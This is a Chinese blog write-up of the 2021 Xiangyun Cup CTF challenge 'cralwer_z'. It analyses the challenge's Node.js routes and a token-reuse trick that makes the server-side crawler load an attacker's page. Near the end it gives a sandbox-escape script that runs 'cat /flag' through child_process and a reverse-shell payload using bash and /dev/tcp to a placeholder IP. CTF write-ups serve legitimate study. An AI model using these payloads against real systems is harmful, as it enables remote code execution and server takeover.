[2021祥云杯]cralwer_z

[2021祥云杯]cralwer_z


题目在buu复现,给了附件

关键的代码在user.js中,我们着重对其进行分析

const express = require('express');
const crypto = require('crypto');
const createError = require('http-errors');
const { Op } = require('sequelize');
const { User, Token } = require('../database');
const utils = require('../utils');
const Crawler = require('../crawler');

const router = express.Router();


router.get('/', async (req, res) => {
    const user = await User.findByPk(req.session.userId)
    return res.render('index', { username: user.username });    //渲染
});


router.get('/profile', async (req, res) => {
    const user = await User.findByPk(req.session.userId);
    return res.render('user', { user });        //渲染
});

//profile路由
router.post('/profile', async (req, res, next) => {
    let { affiliation, age, bucket } = req.body;
    const user = await User.findByPk(req.session.userId);
    //对信息进行校验
    if (!affiliation || !age || !bucket || typeof (age) !== "string" || typeof (bucket) !== "string" || typeof (affiliation) != "string") {
        return res.render('user', { user, error: "Parameters error or blank." });
    }
    if (!utils.checkBucket(bucket)) {
        return res.render('user', { user, error: "Invalid bucket url." });
    }
    let authToken;
    try {
        //更新用户信息,bucket的值传递给personalBucket
        await User.update({
            affiliation,
            age,
            personalBucket: bucket
        }, {
            where: { userId: req.session.userId }
        });
        //生成token
        const token = crypto.randomBytes(32).toString('hex');
        //传递
        authToken = token;
        //生成token
        await Token.create({ userId: req.session.userId, token, valid: true });
        //对数据库中能找到的userId以及token进行查询,将已有的token的valid设置为false,即销毁
        await Token.update({
            valid: false,
        }, {
            where: {
                userId: req.session.userId,
                token: { [Op.not]: authToken }
            }
        });
    } catch (err) {
        next(createError(500));
    }
    //对bucket进行正则匹配,然后将刚刚生成的token进行打印
    if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {
        //重定向到verify
        res.redirect(`/user/verify?token=${authToken}`)
    } else {
        // Well, admin won't do that actually XD. 
        return res.render('user', { user: user, message: "Admin will check if your bucket is qualified later." });
    }
});

//verify路由
router.get('/verify', async (req, res, next) => {
    let { token } = req.query;
    //对token进行检测
    if (!token || typeof (token) !== "string") {
        return res.send("Parameters error");
    }
    let user = await User.findByPk(req.session.userId);
    //找对数据库中已有的token
    const result = await Token.findOne({
        token,
        userId: req.session.userId,
        valid: true
    });
    if (result) {
        try {
            //让token失效,一个token只能用一次
            await Token.update({
                valid: false
            }, {
                where: { userId: req.session.userId }
            });
            //更新用户信息,注意bucket: user.personalBucket,将personalBucket的值赋给bucket
            await User.update({
                bucket: user.personalBucket
            }, {
                where: { userId: req.session.userId }
            });

            user = await User.findByPk(req.session.userId);     //根据主键进行查询
            return res.render('user', { user, message: "Successfully update your bucket from personal bucket!" });
        } catch (err) {
            next(createError(500));
        }
    } else {
        user = await User.findByPk(req.session.userId); //根据主键进行查询
        return res.render('user', { user, message: "Failed to update, check your token carefully" })
    }
})


// Not implemented yet
router.get('/bucket', async (req, res) => {
    const user = await User.findByPk(req.session.userId);       //根据主键进行查询
    //正则匹配
    if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(user.bucket)) {
        return res.json({ message: "Sorry but our remote oss server is under maintenance" });
    } else {
        // Should be a private site for Admin
        try {
            //这里新建了一个Crawler类的对象page
            const page = new Crawler({
                userAgent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36',
                referrer: 'https://www.ichunqiu.com/',
                waitDuration: '3s'
            });
            //goto,到crawler.js中
            await page.goto(user.bucket);
            const html = page.htmlContent;
            const headers = page.headers;
            const cookies = page.cookies;
            await page.close();

            return res.json({ html, headers, cookies});
        } catch (err) {
            return res.json({ err: 'Error visiting your bucket. ' })
        }
    }
});



module.exports = router;

分析代码之前需要知道的事情

sequelize常见API使用_风雨诗轩的博客-CSDN博客_findbypk

这段代码中,大量使用sequelize的查询,所以要先了解一些这些查询语句

  1. findOne

根据id查询一条记录

demo

const favors = await UserModel.findOne({
    attributes: [['user_favorites', 'userFavors']], //将user_favorites属性重命名为userFavors
    where: {
        id: `${id}`
    }
}).catch(err => {
    getLogger().error("xxx occur error=", err);
});
  1. findByPk

通过主键来查询一条记录

demo

await UserModel.findByPk(id).then(......

在本题中,主键是userId

代码分析

按路由来进行代码分析吧,一般而言每个路由对应不同的功能,而且思路也比较清晰

user.js中,主要是3个路由/profile,verify,bucket

/profile路由

首先来看/profile路由

前面部分是传参,对参数进行检测

在这里插入图片描述

bucket将临时存放在personalBucket,生成token

在这里插入图片描述

然后对bucket进行正则匹配,匹配成功会进行跳转到/verify,并将token打印出来

在这里插入图片描述

/verify路由

再来看/verify路由

刚开始也是进行参数的检测

在这里插入图片描述

然后根据userid获取数据库中存储的信息,并且获取其第一条信息,如果找到,就更新它的validfalse,让其失效

在这里插入图片描述

然后更新信息,将user.personalBucket的值传到bucket

在这里插入图片描述

/bucket路由

最后看第三个路由/bucket

根据主键userId查询,然后对user.bucket进行正则匹配,这里绕过正则匹配之后,会新建一个Crawler类的对象page,然后调用goto方法

在这里插入图片描述

我们跟进看这个goto方法,goto方法中实现了this.crawler.visit方法,这个visit方法会去访问一个我们传入的url参数,而这里也是漏洞点

    goto(url) {
        return new Promise((resolve, reject) => {
            try {
                //实现了this.crawler.visit方法
                this.crawler.visit(url, () => {
                    const resource = this.crawler.resources.length
                        ? this.crawler.resources.filter(resource => resource.response).shift() : null;
                    this.statusCode = resource.response.status
                    this.headers = this.getHeaders();
                    this.cookies = this.getCookies();
                    this.htmlContent = this.getHtmlContent();
                    resolve();
                });
            } catch (err) {
                reject(err.message);
            }
        })
    }

在正常情况下,我们访问/profile路由,生成token,但是会自动跳转到/verify路由,然后将我们的token的valid置为flase让其失效,达到一次性token的效果;然后将数据库中的personalBucket传入bucket

注意有两次正则匹配,他们的匹配规则是一样的,但是我们想要的效果是不一样的,在/profile路由中,我们要让其符号正则匹配条件,然后将token打印出来;在/bucket路由中,我们要其不符合真个匹配条件,让其执行goto方法

解题思路

所以思路是:

  1. 首先访问/profile,生成一个token,会将其传入personalBucket暂存;这个时候,我们要用burp抓包不让其跳转到/verify
  2. 然后再访问/profile,更新personalBucket,将其改为我们的url
  3. 然后再利用第一次获取到的tokenverify,在/verify中会将数据库中的personalBucketbucket赋值,而personalBucket已经在第二步被我们替换了
  4. 利用其访问bucket,反弹shell,或者cat /flag

实际操作

注册用户,登录,然后去/profile点击update,抓包

在这里插入图片描述

send,拿到token

在这里插入图片描述

这个时候,这个包就卡在这里,不会去访问/verify

然后再次将这个包发给repeater,将bucket进行修改,替换为自己的vps

在这里插入图片描述

这个时候,我们再次返回burp第一个我们拿到的包,点击Follow redirection

然后就可以看到bucket成功更新

在这里插入图片描述

然后在vps上的80端口挂一个拿flag的脚本,或者是自己的vps上的80端口已经有一个http服务

python3 -m http.server 80

脚本

<script>
a=this.constructor.constructor.constructor.constructor('return process')();b=a.mainModule.require('child_process');c=b.execSync('cat /flag').toString();document.write(c);
</script>

然后访问/user/bucket,拿到flag

在这里插入图片描述

或者是整个反弹shell的脚本

<script>c='constructor';this[c][c]("c='constructor';require=this[c][c]('return process')().mainModule.require;var sync=require('child_process').spawnSync; var ls = sync('bash', ['-c','bash -i >& /dev/tcp/xx.xx.xx.xx/7002 0>&1'],);console.log(ls.output.toString());")()</script>

监听7002端口

在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值